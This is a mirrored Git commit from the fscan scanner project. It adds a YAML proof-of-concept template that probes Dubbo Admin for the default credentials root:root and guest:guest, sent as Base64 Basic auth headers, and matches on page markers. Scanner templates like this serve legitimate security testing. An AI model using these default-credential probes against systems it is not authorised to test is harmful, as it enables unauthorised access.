mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-25 20:51:52 +08:00
优化xray解析模块,支持groups、新增poc
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
name: poc-yaml-dubbo-admin-default-password
|
||||
groups:
|
||||
root:
|
||||
- method: GET
|
||||
path: /
|
||||
headers:
|
||||
Authorization: Basic cm9vdDpyb290
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions")
|
||||
guest:
|
||||
- method: GET
|
||||
path: /
|
||||
headers:
|
||||
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions")
|
||||
detail:
|
||||
author: mumu0215(https://github.com/mumu0215)
|
||||
links:
|
||||
- https://www.cnblogs.com/wishwzp/p/9438658.html
|
||||
Reference in New Issue
Block a user